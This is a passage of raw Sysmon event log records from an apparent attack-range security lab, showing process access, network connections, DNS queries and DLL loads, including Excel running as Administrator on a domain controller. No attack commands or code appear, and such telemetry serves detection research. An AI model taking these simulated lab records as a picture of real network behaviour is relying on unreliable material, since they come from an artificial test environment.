14:47:35.179{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014433Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.179{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7007-613B-AD04-00000000F101}1852C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014432Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.179{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014431Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.179{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014430Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.179{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7007-613B-AD04-00000000F101}1852C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014429Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.179{625C326B-7007-613B-AD04-00000000F101}1852C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014428Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:35.116{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A6004FACEACB5EDD6119963B8C4A43B8,SHA256=45F2FD6BA0B44AF56981CEA3296B21E234CDE2D885339D7A091304CA9CC45C5B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.885{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=6220BF19DDC99EA19BA2FE4BBCEDB34F,SHA256=2093D42AAF0782606D6E219E620F9897DA426F46FF6EF09C3EE12A2C0E21CAB8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000046565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.106{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local63152- 354300x800000000000000046564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.076{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63152- 354300x800000000000000046563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.846{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59315-false20.190.159.132-443https 354300x800000000000000046562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.805{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local57618- 354300x800000000000000046561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.792{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59313-false93.184.220.29-80http 354300x800000000000000046560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.775{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59312-false52.98.152.242-443https 354300x800000000000000046559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.771{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62555- 354300x800000000000000046558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.765{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59310-false52.109.68.14-443https 354300x800000000000000046557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.757{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59311-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000046556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.757{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59311-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000046555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.754{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55470- 354300x800000000000000046554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.733{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59306-false52.109.12.20-443https 354300x800000000000000046553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.655{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59307-false52.109.68.46-443https 354300x800000000000000046552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.648{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59309-false52.113.194.132-443https 354300x800000000000000046551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.647{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59308-false2.18.232.120a2-18-232-120.deploy.static.akamaitechnologies.com443https 354300x800000000000000046550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.645{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59305-false2.18.232.50a2-18-232-50.deploy.static.akamaitechnologies.com443https 354300x800000000000000046549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.609{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59304-false20.190.159.132-443https 354300x800000000000000046548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.586{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55997- 354300x800000000000000046547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.488{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59297-false52.109.12.20-443https 354300x800000000000000046546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.419{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59303-false10.0.1.12-8000- 354300x800000000000000046545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.410{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59298-false52.109.88.177-443https 354300x800000000000000046544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.408{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59299-false52.109.68.46-443https 354300x800000000000000046543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.400{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59301-false52.113.194.132-443https 354300x800000000000000046542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.400{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59300-false2.18.232.120a2-18-232-120.deploy.static.akamaitechnologies.com443https 354300x800000000000000046541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.400{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59302-false2.18.232.50a2-18-232-50.deploy.static.akamaitechnologies.com443https 354300x800000000000000046540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.396{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63092- 354300x800000000000000046539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.392{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60136- 354300x800000000000000046538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.391{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54649- 354300x800000000000000046537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.391{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53979- 23542300x800000000000000046536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.510{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=E415CB6B114DF7BC1C54F0FDCEA12F5E,SHA256=62D5AB80DFB6925E2C77F2A7F2B9E881B609A87AF2AF247D3839A12D089C80D5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.510{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=5F4F30ECC84873E22655E5EF38579BCD,SHA256=4F9DB8ABEF63508050AD4EF6EBAD93DE04BD95B9D3CF18F53BB52C5FA6AF23C9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 13241300x800000000000000046534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:47:35.369{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\CurrentSkuIdAggregationForApp\Publisher{3AD61E22-E4FE-497F-BDB1-3E51BD872173} 23542300x800000000000000046533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.354{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=54A075720ACE1E809ED7FDCDF2569D96,SHA256=84DE4515C802690FCBBCE3019F01855A51A03FA3A1116E8C356334489381F0E9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.354{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=D0D858D5C12589A3E1E2D7925BD41CB9,SHA256=2C1C2E4ADDC36B620F5A7F6CFEF19416B699ECAD9D68221D2AAE5ACE4BB37CF5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.260{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=A21BE27FC0E77892AB6D7C56E253BF97,SHA256=041EB9A56F330E399162E48419ABC6CF9A0B5060B82722E8CD3F2E4E4BB7808A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.213{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=211D9F3A641567AA031CC273864D329E,SHA256=3D9B9C2270448B09D08EC66712F5071D063216DA9D53697EDC944018AE5932B7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000046529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.213{7BD73061-7006-613B-FC0A-00000000F001}71406788C:\Windows\system32\sppsvc.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\KERNELBASE.dll+221bd|C:\Windows\system32\sppsvc.exe+8d719|C:\Windows\system32\sppsvc.exe+7eaa8|C:\Windows\system32\sppsvc.exe+748f0|C:\Windows\system32\sppsvc.exe+957de|C:\Windows\system32\sppsvc.exe+5454f|C:\Windows\system32\sppsvc.exe+a1cdb|C:\Windows\system32\sppsvc.exe+b414a|C:\Windows\system32\sppsvc.exe+b443f|C:\Windows\system32\RPCRT4.dll+7a593|C:\Windows\system32\RPCRT4.dll+d9f41|C:\Windows\system32\RPCRT4.dll+62d4c|C:\Windows\system32\RPCRT4.dll+4a274|C:\Windows\system32\RPCRT4.dll+4918d|C:\Windows\system32\RPCRT4.dll+49a3b|C:\Windows\system32\RPCRT4.dll+310ac|C:\Windows\system32\RPCRT4.dll+3152c|C:\Windows\system32\RPCRT4.dll+1ae1c|C:\Windows\system32\RPCRT4.dll+1c67b|C:\Windows\system32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\SYSTEM32\KERNEL32.DLL+84d4 10341000x800000000000000046528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.213{7BD73061-7006-613B-FC0A-00000000F001}71406788C:\Windows\system32\sppsvc.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\KERNELBASE.dll+221bd|C:\Windows\system32\sppsvc.exe+8d719|C:\Windows\system32\sppsvc.exe+74a0a|C:\Windows\system32\sppsvc.exe+95791|C:\Windows\system32\sppsvc.exe+5454f|C:\Windows\system32\sppsvc.exe+a1cdb|C:\Windows\system32\sppsvc.exe+b414a|C:\Windows\system32\sppsvc.exe+b443f|C:\Windows\system32\RPCRT4.dll+7a593|C:\Windows\system32\RPCRT4.dll+d9f41|C:\Windows\system32\RPCRT4.dll+62d4c|C:\Windows\system32\RPCRT4.dll+4a274|C:\Windows\system32\RPCRT4.dll+4918d|C:\Windows\system32\RPCRT4.dll+49a3b|C:\Windows\system32\RPCRT4.dll+310ac|C:\Windows\system32\RPCRT4.dll+3152c|C:\Windows\system32\RPCRT4.dll+1ae1c|C:\Windows\system32\RPCRT4.dll+1c67b|C:\Windows\system32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\SYSTEM32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.166{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=C489E7CCCE793A957797D391BBF02C8E,SHA256=C424D24A226EFAFA3BEB7997E6D6605F2145CF1EC28F5C609610446E6300A3D3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.119{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=8A80D09054ECBB58C28DF9E7CF675DCA,SHA256=C2941F741C383715AFAEBD4CAA745607C39FB9264F46D85ABADE44EF93F8D59A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 22542200x800000000000000046525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.815{7BD73061-7004-613B-FA0A-00000000F001}1092attackrange.local0::ffff:10.0.1.14;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 22542200x800000000000000046524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.782{7BD73061-7004-613B-FA0A-00000000F001}1092autodiscover-s.outlook.com0type: 5 outlook.office365.com;type: 5 outlook.ha.office365.com;type: 5 outlook.ms-acdc.office.com;type: 5 HHN-efz.ms-acdc.office.com;::ffff:52.98.152.242;::ffff:52.97.233.82;::ffff:40.101.137.34;::ffff:40.101.137.18;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 22542200x800000000000000046523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.767{7BD73061-7004-613B-FA0A-00000000F001}1092win-dc-387.attackrange.local0fe80::54c:bd54:34e2:1fb5;::ffff:10.0.1.14;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 22542200x800000000000000046522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.656{7BD73061-7003-613B-F90A-00000000F001}5220ecs.office.com0type: 5 ecs.office.trafficmanager.net;type: 5 s-0005-office.config.skype.com;type: 5 ecs-office.s-0005.s-msedge.net;type: 5 s-0005.s-msedge.net;::ffff:52.113.194.132;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 22542200x800000000000000046521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.653{7BD73061-7003-613B-F90A-00000000F001}5220support.content.office.net0type: 5 support.content.office.net.edgekey.net;type: 5 e584.g.akamaiedge.net;::ffff:2.18.232.50;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 22542200x800000000000000046520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.404{7BD73061-7004-613B-FA0A-00000000F001}1092support.content.office.net0type: 5 support.content.office.net.edgekey.net;type: 5 e584.g.akamaiedge.net;::ffff:2.18.232.50;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 22542200x800000000000000046519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.403{7BD73061-7004-613B-FA0A-00000000F001}1092ecs.office.com0type: 5 ecs.office.trafficmanager.net;type: 5 s-0005-office.config.skype.com;type: 5 ecs-office.s-0005.s-msedge.net;type: 5 s-0005.s-msedge.net;::ffff:52.113.194.132;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 734700x800000000000000046518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.072{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\cryptdll.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptography ManagerMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptdll.dllMD5=4B31902F1E0B79CE7E46D9877647C1CC,SHA256=8925892119315293C49D09A26191149660934BF1E5D3D023722E90339ADA38AA,IMPHASH=CAB6D6025DF08B0D0BC6259D625E2778trueMicrosoft WindowsValid 10341000x800000000000000046517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:35.057{7BD73061-7003-613B-F90A-00000000F001}52206748C:\Program Files\Microsoft 